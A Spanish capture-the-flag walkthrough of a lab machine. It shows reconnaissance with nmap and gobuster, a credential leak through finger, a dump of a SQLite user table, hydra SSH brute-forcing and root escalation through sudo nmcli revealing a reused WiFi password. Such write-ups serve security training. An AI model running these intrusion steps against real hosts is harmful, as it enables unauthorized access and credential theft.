Enumeramos puertos y directorios:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.43❯ nmap -sCV -p 22,79,80 -oN 02-targeted.txt 192.168.1.43
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-11 18:53 -03
Nmap scan report for 192.168.1.43
Host is up (0.00027s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
| 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
79/tcp open finger Linux fingerd
|_finger: No one logged on.\x0D
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: The all seeing eye...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.41 seconds❯ gobuster dir -u 'http://192.168.1.43' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,sql,png,xml,zip,sh -r
...
/index.html (Status: 200) [Size: 878]
/img.png (Status: 200) [Size: 250077]
/backup (Status: 401) [Size: 459]El sitio muestra una imagen del dios Horus ("The all seeing eye..."), lo que sugiere el usuario horus. Lo confirmamos con finger, que además filtra unas credenciales en el campo personal notes:
❯ finger horus@192.168.1.43
[192.168.1.43]
Login: horus Name:
Directory: /home/horus Shell: /bin/bash
Never logged in.
Mail forwarded to horus@point.nyx
No mail.
PGP key:
personal notes: H0Ru$$3rv3
No Plan.Usamos esas credenciales (horus:H0Ru$$3rv3) para acceder a /backup, que protege con autenticación HTTP una base de datos SQLite. La descargamos y volcamos su tabla de usuarios:
❯ sqlite3 database.db
SQLite version 3.48.0 2025-01-14 11:05:00
Enter ".help" for usage hints.
sqlite> .tables
users
sqlite> select * from users;
1|anubis|L44NxKRnP7wxrBsxibpDORySkbEHRO
2|amon|xqRu08ZA3BihR4lKdJVYcP1x6HjZUf
3|seth|Hm7iYkj2jXDxPUwoW2COs42YjPaC4P
4|osiris|ITA96l3isg4uV2Sm8eYn41XVfxprFyGuardamos usuarios y contraseñas en listas y hacemos fuerza bruta cruzada contra SSH:
❯ hydra -L users.txt -P passwds.txt 192.168.1.43 ssh -t 64
...
[22][ssh] host: 192.168.1.43 login: seth password: xqRu08ZA3BihR4lKdJVYcP1x6HjZUf
...Resulta que seth reutiliza la contraseña de amon. Nos logueamos y obtenemos la primera flag:
❯ ssh seth@192.168.1.43
seth@192.168.1.43's password: xqRu08ZA3BihR4lKdJVYcP1x6HjZUf
seth@apex:~$Para escalar privilegios, revisamos los permisos sudo:
seth@apex:/tmp$ /usr/sbin/sudo -l
Matching Defaults entries for seth on apex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User seth may run the following commands on apex:
(root) NOPASSWD: /usr/bin/nmcliPodemos ejecutar nmcli como root. Listamos las conexiones guardadas y extraemos la contraseña WiFi almacenada en texto claro:
seth@apex:/tmp$ /usr/sbin/sudo nmcli connection show
NAME UUID TYPE DEVICE
MikroTik_AP e25d230b-bb26-4488-b2e0-1b94dac2b9cd wifi --
seth@apex:/tmp$ /usr/sbin/sudo nmcli -s -g 802-11-wireless-security.psk connection show "MikroTik_AP"
WIFI_p@$$w0rd_is_$up3r_$3cur3Esa contraseña resulta ser la de root, así que nos autenticamos:
seth@apex:/tmp$ su root
Contraseña: WIFI_p@$$w0rd_is_$up3r_$3cur3
root@apex:/tmp#Obtenemos la flag y fin.